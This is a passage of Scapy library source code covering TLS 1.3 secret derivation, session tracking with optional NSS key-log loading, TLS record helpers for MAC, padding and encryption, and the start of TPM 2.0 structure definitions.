hash algorithm is set, default to SHA-256 if self.prcs and self.prcs.hkdf: hkdf = self.prcs.hkdf elif self.pwcs and self.pwcs.hkdf: hkdf = self.pwcs.hkdf else: hkdf = TLS13_HKDF("sha256") if self.tls13_early_secret is None: self.tls13_early_secret = hkdf.extract(None, self.tls13_psk_secret) if "binder_key" not in self.tls13_derived_secrets: if external: bk = hkdf.derive_secret(self.tls13_early_secret, b"ext binder", b"") else: bk = hkdf.derive_secret(self.tls13_early_secret, b"res binder", b"") self.tls13_derived_secrets["binder_key"] = bk cets = hkdf.derive_secret(self.tls13_early_secret, b"c e traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["client_early_traffic_secret"] = cets ees = hkdf.derive_secret(self.tls13_early_secret, b"e exp master", b"".join(self.handshake_messages)) self.tls13_derived_secrets["early_exporter_secret"] = ees if self.nss_keys: cets_dict = self.nss_keys.get('CLIENT_EARLY_TRAFFIC_SECRET', {}) cets = cets_dict.get(self.client_random, cets) self.tls13_derived_secrets["client_early_traffic_secret"] = cets ees_dict = self.nss_keys.get('EARLY_EXPORTER_SECRET', {}) ees = ees_dict.get(self.client_random, ees) self.tls13_derived_secrets["early_exporter_secret"] = ees if self.connection_end == "server": if self.prcs: self.prcs.tls13_derive_keys(cets) elif self.connection_end == "client": if self.pwcs: self.pwcs.tls13_derive_keys(cets) def compute_tls13_handshake_secrets(self): """ Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello. """ if self.prcs: hkdf = self.prcs.hkdf elif self.pwcs: hkdf = self.pwcs.hkdf else: warning("No HKDF. This is abnormal.") return if self.tls13_early_secret is None: self.tls13_early_secret = hkdf.extract(None, self.tls13_psk_secret) secret = hkdf.derive_secret(self.tls13_early_secret, b"derived", b"") self.tls13_handshake_secret = hkdf.extract(secret, self.tls13_dhe_secret) # noqa: E501 chts = hkdf.derive_secret(self.tls13_handshake_secret, b"c hs traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["client_handshake_traffic_secret"] = chts shts = hkdf.derive_secret(self.tls13_handshake_secret, b"s hs traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["server_handshake_traffic_secret"] = shts if self.nss_keys: chts_dict = self.nss_keys.get('CLIENT_HANDSHAKE_TRAFFIC_SECRET', {}) chts = chts_dict.get(self.client_random, chts) self.tls13_derived_secrets["client_handshake_traffic_secret"] = chts shts_dict = self.nss_keys.get('SERVER_HANDSHAKE_TRAFFIC_SECRET', {}) shts = shts_dict.get(self.client_random, shts) self.tls13_derived_secrets["server_handshake_traffic_secret"] = shts def compute_tls13_traffic_secrets(self): """ Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished. """ if self.prcs and self.prcs.hkdf: hkdf = self.prcs.hkdf elif self.pwcs and self.pwcs.hkdf: hkdf = self.pwcs.hkdf else: warning("No HKDF. This is abnormal.") return tmp = hkdf.derive_secret(self.tls13_handshake_secret, b"derived", b"") self.tls13_master_secret = hkdf.extract(tmp, None) cts0 = hkdf.derive_secret(self.tls13_master_secret, b"c ap traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["client_traffic_secrets"] = [cts0] sts0 = hkdf.derive_secret(self.tls13_master_secret, b"s ap traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["server_traffic_secrets"] = [sts0] es = hkdf.derive_secret(self.tls13_master_secret, b"exp master", b"".join(self.handshake_messages)) self.tls13_derived_secrets["exporter_secret"] = es if self.nss_keys: cts0_dict = self.nss_keys.get('CLIENT_TRAFFIC_SECRET_0', {}) cts0 = cts0_dict.get(self.client_random, cts0) self.tls13_derived_secrets["client_traffic_secrets"] = [cts0] sts0_dict = self.nss_keys.get('SERVER_TRAFFIC_SECRET_0', {}) sts0 = sts0_dict.get(self.client_random, sts0) self.tls13_derived_secrets["server_traffic_secrets"] = [sts0] es_dict = self.nss_keys.get('EXPORTER_SECRET', {}) es = es_dict.get(self.client_random, es) self.tls13_derived_secrets["exporter_secret"] = es if self.connection_end == "server": # self.prcs.tls13_derive_keys(cts0) self.pwcs.tls13_derive_keys(sts0) elif self.connection_end == "client": # self.pwcs.tls13_derive_keys(cts0) self.prcs.tls13_derive_keys(sts0) def compute_tls13_traffic_secrets_end(self): cts0 = self.tls13_derived_secrets["client_traffic_secrets"][0] if self.connection_end == "server": self.prcs.tls13_derive_keys(cts0) elif self.connection_end == "client": self.pwcs.tls13_derive_keys(cts0) def compute_tls13_verify_data(self, connection_end, read_or_write, handshake_context): # RFC8446 - 4.4 # +-----------+-------------------------+-----------------------------+ # | Mode | Handshake Context | Base Key | # +-----------+-------------------------+-----------------------------+ # | Server | ClientHello ... later | server_handshake_traffic_ | # | | of EncryptedExtensions/ | secret | # | | CertificateRequest | | # | | | | # | Client | ClientHello ... later | client_handshake_traffic_ | # | | of server | secret | # | | Finished/EndOfEarlyData | | # | | | | # | Post- | ClientHello ... client | client_application_traffic_ | # | Handshake | Finished + | secret_N | # | | CertificateRequest | | # +-----------+-------------------------+-----------------------------+ if self.post_handshake: # RFC8446 - 4.6 # TLS also allows other messages to be sent after the main handshake. # These messages use a handshake content type and are encrypted under # the appropriate application traffic key. shts = self.tls13_derived_secrets["server_traffic_secrets"][-1] chts = self.tls13_derived_secrets["client_traffic_secrets"][-1] else: shts = self.tls13_derived_secrets["server_handshake_traffic_secret"] chts = self.tls13_derived_secrets["client_handshake_traffic_secret"] if read_or_write == "read": hkdf = self.rcs.hkdf if connection_end == "client": basekey = shts elif connection_end == "server": basekey = chts elif read_or_write == "write": hkdf = self.wcs.hkdf if connection_end == "client": basekey = chts elif connection_end == "server": basekey = shts if not hkdf or not basekey: warning("Missing arguments for verify_data computation!") return None return hkdf.compute_verify_data(basekey, handshake_context) def compute_tls13_resumption_secret(self): """ self.handshake_messages should be ClientHello...ClientFinished. """ if self.connection_end == "server": hkdf = self.prcs.hkdf elif self.connection_end == "client": hkdf = self.pwcs.hkdf rs = hkdf.derive_secret(self.tls13_master_secret, b"res master", b"".join(self.handshake_messages)) self.tls13_derived_secrets["resumption_secret"] = rs def compute_tls13_next_traffic_secrets(self, connection_end, read_or_write): # noqa : E501 """ Ciphers key and IV are updated accordingly. """ if self.rcs.hkdf: hkdf = self.rcs.hkdf hl = hkdf.hash.digest_size elif self.wcs.hkdf: hkdf = self.wcs.hkdf hl = hkdf.hash.digest_size if read_or_write == "read": if connection_end == "client": cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, b"traffic upd", b"", hl) cts.append(ctsN_1) self.prcs.tls13_derive_keys(ctsN_1) elif connection_end == "server": sts = self.tls13_derived_secrets["server_traffic_secrets"] stsN = sts[-1] stsN_1 = hkdf.expand_label(stsN, b"traffic upd", b"", hl) sts.append(stsN_1) self.prcs.tls13_derive_keys(stsN_1) elif read_or_write == "write": if connection_end == "client": cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, b"traffic upd", b"", hl) cts.append(ctsN_1) self.pwcs.tls13_derive_keys(ctsN_1) elif connection_end == "server": sts = self.tls13_derived_secrets["server_traffic_secrets"] stsN = sts[-1] stsN_1 = hkdf.expand_label(stsN, b"traffic upd", b"", hl) sts.append(stsN_1) self.pwcs.tls13_derive_keys(stsN_1) # Tests for record building/parsing def consider_read_padding(self): # Return True if padding is needed. Used by TLSPadField. return (self.rcs.cipher.type == "block" and not (False in self.rcs.cipher.ready.values())) def consider_write_padding(self): # Return True if padding is needed. Used by TLSPadField. return self.wcs.cipher.type == "block" def use_explicit_iv(self, version, cipher_type): # Return True if an explicit IV is needed. Required for TLS 1.1+ # when either a block or an AEAD cipher is used. if cipher_type == "stream": return False return version >= 0x0302 # Python object management def hash(self): s1 = struct.pack("!H", self.sport) s2 = struct.pack("!H", self.dport) family = socket.AF_INET if ':' in self.ipsrc: family = socket.AF_INET6 s1 += inet_pton(family, self.ipsrc) s2 += inet_pton(family, self.ipdst) return strxor(s1, s2) def eq(self, other): ok = False if (self.sport == other.sport and self.dport == other.dport and self.ipsrc == other.ipsrc and self.ipdst == other.ipdst): ok = True if (not ok and self.dport == other.sport and self.sport == other.dport and self.ipdst == other.ipsrc and self.ipsrc == other.ipdst): ok = True if ok: if self.sid and other.sid: return self.sid == other.sid return True return False def repr(self, _underlayer=None): sid = repr(self.sid) if len(sid) > 12: sid = sid[:11] + "..." if _underlayer and _underlayer.dport != self.dport: return "%s:%s > %s:%s" % (self.ipdst, str(self.dport), self.ipsrc, str(self.sport)) return "%s:%s > %s:%s" % (self.ipsrc, str(self.sport), self.ipdst, str(self.dport)) def __repr__(self): return self.repr() ############################################################################### # Session singleton # ############################################################################### class _GenericTLSSessionInheritance(Packet): """ Many classes inside the TLS module need to get access to session-related information. For instance, an encrypted TLS record cannot be parsed without some knowledge of the cipher suite being used and the secrets which have been negotiated. Passing information is also essential to the handshake. To this end, various TLS objects inherit from the present class. """ __slots__ = ["tls_session", "rcs_snap_init", "wcs_snap_init"] name = "Dummy Generic TLS Packet" fields_desc = [] def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, tls_session=None, **fields): try: setme = self.tls_session is None except Exception: setme = True newses = False if setme: if tls_session is None: newses = True self.tls_session = tlsSession() else: self.tls_session = tls_session self.rcs_snap_init = self.tls_session.rcs.snapshot() self.wcs_snap_init = self.tls_session.wcs.snapshot() if isinstance(_underlayer, TCP): # Get information from _underlayer self.tls_session.set_underlayer(_underlayer) # Load a NSS Key Log file if conf.tls_nss_filename is not None: if conf.tls_nss_keys is None: conf.tls_nss_keys = load_nss_keys(conf.tls_nss_filename) if conf.tls_session_enable: if newses: s = conf.tls_sessions.find(self.tls_session) if s: if conf.tls_nss_keys is not None: s.nss_keys = conf.tls_nss_keys if s.dport == self.tls_session.dport: self.tls_session = s else: self.tls_session = s.mirror() else: if conf.tls_nss_keys is not None: self.tls_session.nss_keys = conf.tls_nss_keys conf.tls_sessions.add(self.tls_session) if self.tls_session.connection_end == "server": srk = conf.tls_sessions.server_rsa_key if not self.tls_session.server_rsa_key and \ srk: self.tls_session.server_rsa_key = srk Packet.__init__(self, _pkt=_pkt, post_transform=post_transform, _internal=_internal, _underlayer=_underlayer, **fields) def __getattr__(self, attr): """ The tls_session should be found only through the normal mechanism. """ if attr == "tls_session": return None return super(_GenericTLSSessionInheritance, self).__getattr__(attr) def tls_session_update(self, msg_str): """ post_{build, dissection}_tls_session_update() are used to update the tlsSession context. The default definitions below, along with tls_session_update(), may prevent code duplication in some cases. """ pass def post_build_tls_session_update(self, msg_str): self.tls_session_update(msg_str) def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) def copy(self): pkt = Packet.copy(self) pkt.tls_session = self.tls_session return pkt def clone_with(self, payload=None, **kargs): pkt = Packet.clone_with(self, payload=payload, **kargs) pkt.tls_session = self.tls_session return pkt def raw_stateful(self): return super(_GenericTLSSessionInheritance, self).__bytes__() def str_stateful(self): return self.raw_stateful() def __bytes__(self): """ The __bytes__ call has to leave the connection states unchanged. We also have to delete raw_packet_cache in order to access post_build. For performance, the pending connStates are not snapshotted. This should not be an issue, but maybe pay attention to this. The previous_freeze_state prevents issues with calling a raw() calling in turn another raw(), which would unfreeze the session too soon. """ s = self.tls_session rcs_snap = s.rcs.snapshot() wcs_snap = s.wcs.snapshot() rpc_snap = self.raw_packet_cache rpcf_snap = self.raw_packet_cache_fields s.wcs = self.rcs_snap_init self.raw_packet_cache = None previous_freeze_state = s.frozen s.frozen = True built_packet = super(_GenericTLSSessionInheritance, self).__bytes__() s.frozen = previous_freeze_state s.rcs = rcs_snap s.wcs = wcs_snap self.raw_packet_cache = rpc_snap self.raw_packet_cache_fields = rpcf_snap return built_packet __str__ = __bytes__ def show2(self): """ Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the cipher context has been updated because of parsing) but also to keep the current state and restore it afterwards (the raw() call may also update the states). """ s = self.tls_session rcs_snap = s.rcs.snapshot() wcs_snap = s.wcs.snapshot() s.rcs = self.rcs_snap_init built_packet = raw(self) s.frozen = True self.__class__(built_packet, tls_session=s).show() s.frozen = False s.rcs = rcs_snap s.wcs = wcs_snap def mysummary(self, first=True): from scapy.layers.tls.record import TLS from scapy.layers.tls.record_tls13 import TLS13 if ( self.underlayer and isinstance(self.underlayer, _GenericTLSSessionInheritance) ): summary = getattr(self, "_name", self.name) else: _underlayer = None if self.underlayer and isinstance(self.underlayer, TCP): _underlayer = self.underlayer summary = "TLS %s / %s" % ( self.tls_session.repr(_underlayer=_underlayer), getattr(self, "_name", self.name) ) return summary, [TLS, TLS13] @classmethod def tcp_reassemble(cls, data, metadata, session): # Used with TCPSession from scapy.layers.tls.record import TLS from scapy.layers.tls.record_tls13 import TLS13 if cls in (TLS, TLS13): length = struct.unpack("!H", data[3:5])[0] + 5 if len(data) >= length: # get the underlayer as it is used to populate tls_session if "original" not in metadata: return cls(data) underlayer = metadata["original"][TCP].copy() underlayer.remove_payload() # eventually get the tls_session now for TLS.dispatch_hook tls_session = None if conf.tls_session_enable: s = tlsSession() s.set_underlayer(underlayer) tls_session = conf.tls_sessions.find(s) if tls_session: if tls_session.dport != underlayer.dport: tls_session = tls_session.mirror() if tls_session.firsttcp == underlayer.seq: log_runtime.info( "TLS: session %s is a duplicate of a previous " "dissection. Discard it" % repr(tls_session) ) conf.tls_sessions.rem(tls_session, force=True) tls_session = None return cls(data, _underlayer=underlayer, tls_session=tls_session) else: return cls(data) ############################################################################### # Multiple TLS sessions # ############################################################################### class _tls_sessions(object): def __init__(self): self.sessions = {} self.server_rsa_key = None def add(self, session): s = self.find(session) if s: log_runtime.info("TLS: previous session shall not be overwritten") return h = session.hash() if h in self.sessions: self.sessions[h].append(session) else: self.sessions[h] = [session] def rem(self, session, force=False): if not force: s = self.find(session) if s: log_runtime.info("TLS: previous session shall not be overwritten") return h = session.hash() self.sessions[h].remove(session) def find(self, session): try: h = session.hash() except Exception: return None if h in self.sessions: for k in self.sessions[h]: if k.eq(session): if conf.debug_tls: log_runtime.info("TLS: found session matching %s", k) return k if conf.debug_tls: log_runtime.info("TLS: did not find session matching %s", session) return None def __repr__(self): res = [("First endpoint", "Second endpoint", "Session ID")] for li in self.sessions.values(): for s in li: src = "%s[%d]" % (s.ipsrc, s.sport) dst = "%s[%d]" % (s.ipdst, s.dport) sid = repr(s.sid) if len(sid) > 12: sid = sid[:11] + "..." res.append((src, dst, sid)) colwidth = (max(len(y) for y in x) for x in zip(*res)) fmt = " ".join(map(lambda x: "%%-%ds" % x, colwidth)) return "\n".join(map(lambda x: fmt % x, res)) class TLSSession(TCPSession): def __init__(self, *args, **kwargs): # XXX this doesn't bring any value. warning( "TLSSession is deprecated and will be removed in a future version. " "Please use TCPSession instead with conf.tls_session_enable=True" ) server_rsa_key = kwargs.pop("server_rsa_key", None) super(TLSSession, self).__init__(*args, **kwargs) self._old_conf_status = conf.tls_session_enable conf.tls_session_enable = True if server_rsa_key: conf.tls_sessions.server_rsa_key = server_rsa_key def toPacketList(self): conf.tls_session_enable = self._old_conf_status return super(TLSSession, self).toPacketList() # Instantiate the TLS sessions holder conf.tls_sessions = _tls_sessions() ================================================ FILE: scapy/layers/tls/tools.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ TLS helpers, provided as out-of-context methods. """ import struct from scapy.compat import orb, chb from scapy.error import warning from scapy.fields import (ByteEnumField, ShortEnumField, FieldLenField, StrLenField) from scapy.packet import Packet from scapy.layers.tls.basefields import _tls_type, _tls_version class TLSPlaintext(Packet): name = "TLS Plaintext" fields_desc = [ByteEnumField("type", None, _tls_type), ShortEnumField("version", None, _tls_version), FieldLenField("len", None, length_of="data", fmt="!H"), StrLenField("data", "", length_from=lambda pkt: pkt.len)] class TLSCompressed(TLSPlaintext): name = "TLS Compressed" class TLSCiphertext(TLSPlaintext): name = "TLS Ciphertext" def _tls_compress(alg, p): """ Compress p (a TLSPlaintext instance) using compression algorithm instance alg and return a TLSCompressed instance. """ c = TLSCompressed() c.type = p.type c.version = p.version c.data = alg.compress(p.data) c.len = len(c.data) return c def _tls_decompress(alg, c): """ Decompress c (a TLSCompressed instance) using compression algorithm instance alg and return a TLSPlaintext instance. """ p = TLSPlaintext() p.type = c.type p.version = c.version p.data = alg.decompress(c.data) p.len = len(p.data) return p def _tls_mac_add(alg, c, write_seq_num): """ Compute the MAC using provided MAC alg instance over TLSCiphertext c using current write sequence number write_seq_num. Computed MAC is then appended to c.data and c.len is updated to reflect that change. It is the caller responsibility to increment the sequence number after the operation. The function has no return value. """ write_seq_num = struct.pack("!Q", write_seq_num) h = alg.digest(write_seq_num + bytes(c)) c.data += h c.len += alg.hash_len def _tls_mac_verify(alg, p, read_seq_num): """ Verify if the MAC in provided message (message resulting from decryption and padding removal) is valid. Current read sequence number is used in the verification process. If the MAC is valid: - The function returns True - The packet p is updated in the following way: trailing MAC value is removed from p.data and length is updated accordingly. In case of error, False is returned, and p may have been modified. Also note that it is the caller's responsibility to update the read sequence number after the operation. """ h_size = alg.hash_len if p.len < h_size: return False received_h = p.data[-h_size:] p.len -= h_size p.data = p.data[:-h_size] read_seq_num = struct.pack("!Q", read_seq_num) h = alg.digest(read_seq_num + bytes(p)) return h == received_h def _tls_add_pad(p, block_size): """ Provided with cipher block size parameter and current TLSCompressed packet p (after MAC addition), the function adds required, deterministic padding to p.data before encryption step, as it is defined for TLS (i.e. not SSL and its allowed random padding). The function has no return value. """ padlen = -p.len % block_size padding = chb(padlen) * (padlen + 1) p.len += len(padding) p.data += padding def _tls_del_pad(p): """ Provided with a just decrypted TLSCiphertext (now a TLSPlaintext instance) p, the function removes the trailing padding found in p.data. It also performs some sanity checks on the padding (length, content, ...). False is returned if one of the check fails. Otherwise, True is returned, indicating that p.data and p.len have been updated. """ if p.len < 1: warning("Message format is invalid (padding)") return False padlen = orb(p.data[-1]) padsize = padlen + 1 if p.len < padsize: warning("Invalid padding length") return False if p.data[-padsize:] != chb(padlen) * padsize: warning("Padding content is invalid %s", repr(p.data[-padsize:])) return False p.data = p.data[:-padsize] p.len -= padsize return True def _tls_encrypt(alg, p): """ Provided with an already MACed TLSCompressed packet, and a stream or block cipher alg, the function converts it into a TLSCiphertext (i.e. encrypts it and updates length). The function returns a newly created TLSCiphertext instance. """ c = TLSCiphertext() c.type = p.type c.version = p.version c.data = alg.encrypt(p.data) c.len = len(c.data) return c def _tls_decrypt(alg, c): """ Provided with a TLSCiphertext instance c, and a stream or block cipher alg, the function decrypts c.data and returns a newly created TLSPlaintext. """ p = TLSPlaintext() p.type = c.type p.version = c.version p.data = alg.decrypt(c.data) p.len = len(p.data) return p def _tls_aead_auth_encrypt(alg, p, write_seq_num): """ Provided with a TLSCompressed instance p, the function applies AEAD cipher alg to p.data and builds a new TLSCiphertext instance. Unlike for block and stream ciphers, for which the authentication step is done separately, AEAD alg does it simultaneously: this is the reason why write_seq_num is passed to the function, to be incorporated in authenticated data. Note that it is the caller's responsibility to increment # noqa: E501 write_seq_num afterwards. """ P = bytes(p) write_seq_num = struct.pack("!Q", write_seq_num) A = write_seq_num + P[:5] c = TLSCiphertext() c.type = p.type c.version = p.version c.data = alg.auth_encrypt(P, A, write_seq_num) c.len = len(c.data) return c def _tls_aead_auth_decrypt(alg, c, read_seq_num): """ Provided with a TLSCiphertext instance c, the function applies AEAD cipher alg auth_decrypt function to c.data (and additional data) in order to authenticate the data and decrypt c.data. When those steps succeed, the result is a newly created TLSCompressed instance. On error, None is returned. Note that it is the caller's responsibility to increment read_seq_num afterwards. """ # 'Deduce' TLSCompressed length from TLSCiphertext length # There is actually no guaranty of this equality, but this is defined as # such in TLS 1.2 specifications, and it works for GCM and CCM at least. # plen = c.len - getattr(alg, "nonce_explicit_len", 0) - alg.tag_len read_seq_num = struct.pack("!Q", read_seq_num) A = read_seq_num + struct.pack('!BHH', c.type, c.version, plen) p = TLSCompressed() p.type = c.type p.version = c.version p.len = plen p.data = alg.auth_decrypt(A, c.data, read_seq_num) if p.data is None: # Verification failed. return None return p ================================================ FILE: scapy/layers/tpm.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Implementation of structures related to TPM 2.0 and Windows PCP (Windows Plateform Crypto Provider) """ from scapy.config import conf from scapy.packet import Packet from scapy.fields import ( BitField, ByteField, ConditionalField, FlagsField, IntField, LEIntEnumField, LEIntField, LongField, MultipleTypeField, PacketField, PacketLenField, PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, StrLenField, ) ########################## # TPM 2 structures # ########################## IMPLEMENTATION_PCR = 24 PCR_SELECT_MAX = (IMPLEMENTATION_PCR + 7) // 8 MAX_RSA_KEY_BITS = 2048 MAX_RSA_KEY_BYTES = (MAX_RSA_KEY_BITS + 7) // 8 # TPM20.h source TPM_ALG = { 0x0000: "TPM_ALG_ERROR", 0x0001: "TPM_ALG_RSA", 0x0004: "TPM_ALG_SHA1", 0x0005: "TPM_ALG_HMAC", 0x0006: "TPM_ALG_AES", 0x0007: "TPM_ALG_MGF1", 0x0008: "TPM_ALG_KEYEDHASH", 0x000A: "TPM_ALG_XOR", 0x000B: "TPM_ALG_SHA256", 0x000C: "TPM_ALG_SHA384", 0x000D: "TPM_ALG_SHA512", 0x0010: "TPM_ALG_NULL", 0x0012: "TPM_ALG_SM3_256", 0x0013: "TPM_ALG_SM4", 0x0014: "TPM_ALG_RSASSA", 0x0015: "TPM_ALG_RSAES", 0x0016: "TPM_ALG_RSAPSS", 0x0017: "TPM_ALG_OAEP", 0x0018: "TPM_ALG_ECDSA", 0x0019: "TPM_ALG_ECDH", 0x001A: "TPM_ALG_ECDAA", 0x001B: "TPM_ALG_SM2", 0x001C: "TPM_ALG_ECSCHNORR", 0x001D: "TPM_ALG_ECMQV", 0x0020: "TPM_ALG_KDF1_SP800_56a", 0x0021: "TPM_ALG_KDF2", 0x0022: "TPM_ALG_KDF1_SP800_108", 0x0023: "TPM_ALG_ECC", 0x0025: "TPM_ALG_SYMCIPHER", 0x0040: "TPM_ALG_CTR", 0x0041: "TPM_ALG_OFB", 0x0042: "TPM_ALG_CBC", 0x0043: "TPM_ALG_CFB", 0x0044: "TPM_ALG_ECB", } TPM_ST = { 0x00C4: "TPM_ST_RSP_COMMAND", 0x8000: "TPM_ST_NULL", 0x8001: "TPM_ST_NO_SESSIONS", 0x8002: "TPM_ST_SESSIONS", 0x8014: "TPM_ST_ATTEST_NV", 0x8015: "TPM_ST_ATTEST_COMMAND_AUDIT", 0x8016: "TPM_ST_ATTEST_SESSION_AUDIT", 0x8017: "TPM_ST_ATTEST_CERTIFY", 0x8018: "TPM_ST_ATTEST_QUOTE", 0x8019: "TPM_ST_ATTEST_TIME", 0x801A: "TPM_ST_ATTEST_CREATION", 0x8021: "TPM_ST_CREATION", 0x8022: "TPM_ST_VERIFIED", 0x8023: "TPM_ST_AUTH_SECRET", 0x8024: "TPM_ST_HASHCHECK", 0x8025: "TPM_ST_AUTH_SIGNED", 0x8029: "TPM_ST_FU_MANIFEST", } class _Packet(Packet): def default_payload_class(self, payload): return conf.padding_layer class TPMS_SCHEME_SIGHASH(_Packet): fields_desc = [ ShortEnumField("hashAlg", 0, TPM_ALG), ] class TPMT_RSA_SCHEME(_Packet): fields_desc = [ ShortEnumField("scheme", 0, TPM_ALG), # TPMU_ASYM_SCHEME MultipleTypeField( [ ( PacketField( "parameters", TPMS_SCHEME_SIGHASH(), TPMS_SCHEME_SIGHASH ), lambda pkt: pkt.scheme in [ 0x0014, # RSASSA 0x0016, # RSAPSS 0x001A, # RSAPSS 0x001B, # SM2 0x001C, # ECSCHNORR ], ) ], StrFixedLenField("parameters", b"", length=0), ), ] class TPMT_SYM_DEF_OBJECT(_Packet): fields_desc = [ ShortEnumField("algorithm", 0, TPM_ALG), ConditionalField( ShortField("keyBits", 0), lambda pkt: pkt.algorithm != 0x0010, ), ConditionalField( ShortField("mode", 0), lambda pkt: pkt.algorithm != 0x0010, ), ] class TPMS_RSA_PARMS(_Packet): fields_desc = [ PacketField("symmetric", TPMT_SYM_DEF_OBJECT(), TPMT_SYM_DEF_OBJECT), PacketField("scheme", TPMT_RSA_SCHEME(), TPMT_RSA_SCHEME), ShortField("keyBits", 0), IntField("exponent", 0), ] class TPM2B_DIGEST(_Packet): fields_desc = [ ShortField("size", 0), StrLenField("buffer", b"", length_from=lambda pkt: pkt.size), ] class TPML_DIGEST(_Packet): fields_desc = [ IntField("count", 0), PacketListField("digests", [], TPM2B_DIGEST, count_from=lambda pkt: pkt.count), ] class TPMS_NULL_PARMS(_Packet): fields_desc = [ ShortEnumField("algorithm", 0x0010, TPM_ALG), ] class TPMT_PUBLIC(_Packet): fields_desc = [ ShortEnumField("type", 0x0001, TPM_ALG), ShortEnumField("nameAlg", 0, TPM_ALG), FlagsField( "objectAttributes", 0, 32, [ "reserved1", "fixedTPM", "stClear", "reserved4", "fixedParent", "sensitiveDataOrigin", "userWithAuth", "adminWithPolicy", "reserved8", "reserved9", "noDA", "encryptedDuplication", "reserved12", "reserved13", "reserved14", "reserved15", "restricted", "decrypt", "sign", ], ), PacketField("authPolicy", TPM2B_DIGEST(), TPM2B_DIGEST), MultipleTypeField( [ # TPMU_PUBLIC_PARMS ( PacketField("parameters", TPMS_RSA_PARMS(), TPMS_RSA_PARMS), lambda pkt: pkt.type == 0x0001, ) ], StrFixedLenField("parameters", b"", length=0), ), # TPMU_PUBLIC_ID PacketField("unique", TPM2B_DIGEST(), TPM2B_DIGEST), ] class TPM2B_PUBLIC(_Packet): fields_desc = [ ShortField("size", 0), PacketLenField( "publicArea", TPMT_PUBLIC(), TPMT_PUBLIC, length_from=lambda pkt: pkt.size, ), ] class TPM2B_PRIVATE_KEY_RSA(_Packet): fields_desc = [ ShortField("size", 0), StrLenField( "buffer", b"", length_from=lambda pkt: pkt.size, ), ] TPM2B_AUTH = TPM2B_DIGEST class TPMT_SENSITIVE(_Packet): fields_desc = [ ShortEnumField("sensitiveType", 0, TPM_ALG), PacketField("authValue", TPM2B_AUTH(), TPM2B_AUTH), PacketField("seedValue", TPM2B_DIGEST(), TPM2B_DIGEST), MultipleTypeField( [ # TPMU_SENSITIVE_COMPOSITE ( PacketField( "sensitive", TPM2B_PRIVATE_KEY_RSA(), TPM2B_PRIVATE_KEY_RSA ), lambda pkt: pkt.sensitiveType == 0x0001, # TPM_ALG_RSA ), ], StrField("sensitive", b""), ), ] class TPM2B_SENSITIVE(_Packet): fields_desc = [ ShortField("size", 0), PacketLenField( "sensitiveArea", TPMT_SENSITIVE(), TPMT_SENSITIVE, length_from=lambda pkt: pkt.size, ), ] class _PRIVATE(_Packet): fields_desc = [ PacketField("integrityOuter", TPM2B_DIGEST(), TPM2B_DIGEST), PacketField("integrityInner", TPM2B_DIGEST(), TPM2B_DIGEST), StrField("sensitive", b""), # Encrypted ] class TPM2B_PRIVATE(_Packet): fields_desc = [ ShortField("size", 0), PacketLenField( "buffer", _PRIVATE(), _PRIVATE, length_from=lambda pkt: pkt.size, ), ] class TPM2B_NAME(_Packet): fields_desc = [ ShortField("size", 0), StrLenField("Name", b"", length_from=lambda pkt: pkt.size), ] class TPM2B_DATA(_Packet): fields_desc = [ ShortField("size", 0), StrLenField("buffer", b"", length_from=lambda pkt: pkt.size), ] class TPMA_LOCALITY(_Packet): fields_desc = [ BitField("locZero", 0, 1), BitField("locOne", 0, 1), BitField("locTwo", 0, 1), BitField("locThree", 0, 1), BitField("locFour", 0, 1), BitField("Extended", 0, 3), ] class TPMS_PCR_SELECTION(_Packet): fields_desc = [ ShortEnumField("hash", 0, TPM_ALG), ByteField("sizeOfSelect", 0), StrFixedLenField("pcrSelect", b"", length=PCR_SELECT_MAX), ] class TPML_PCR_SELECTION(_Packet): fields_desc = [ IntField("count", 0), PacketListField( "pcrSelections", [], TPMS_PCR_SELECTION, count_from=lambda pkt: pkt.count ), ] class TPMS_CREATION_DATA(_Packet): fields_desc = [ PacketField("pcrSelect", TPML_PCR_SELECTION(), TPML_PCR_SELECTION), PacketField("pcrDigest", TPM2B_DIGEST(), TPM2B_DIGEST), PacketField("locality", TPMA_LOCALITY(), TPMA_LOCALITY), ShortEnumField("parentNameAlg", 0, TPM_ALG), PacketField("parentName", TPM2B_NAME(), TPM2B_NAME), PacketField("parentQualifiedName", TPM2B_NAME(), TPM2B_NAME), PacketField("outsideInfo", TPM2B_DATA(), TPM2B_DATA), ] class TPM2B_CREATION_DATA(_Packet): fields_desc = [ ShortField("size", 0), PacketLenField( "creationData", TPMS_CREATION_DATA(), TPMS_CREATION_DATA, length_from=lambda pkt: pkt.size, ), ] class TPMS_CLOCK_INFO(_Packet): fields_desc = [ LongField("clock", 0), # obfuscated IntField("resetCount", 0), # obfuscated IntField("restartCount", 0), # obfuscated ByteField("safe", 0), ] class TPMS_CREATION_INFO(_Packet): fields_desc = [ PacketField("objectName", TPM2B_NAME(), TPM2B_NAME), PacketField("creationHash", TPM2B_DIGEST(), TPM2B_DIGEST), ] class TPMS_CERTIFY_INFO(_Packet): fields_desc = [ PacketField("Name", TPM2B_NAME(), TPM2B_NAME), PacketField("qualifiedName", TPM2B_DIGEST(), TPM2B_DIGEST), ] class TPMS_ATTEST(_Packet): fields_desc = [ StrFixedLenField("magic", b"\xffTCG", length=4), ShortEnumField("type", 0, TPM_ST), PacketField("qualifiedSigned", TPM2B_NAME(), 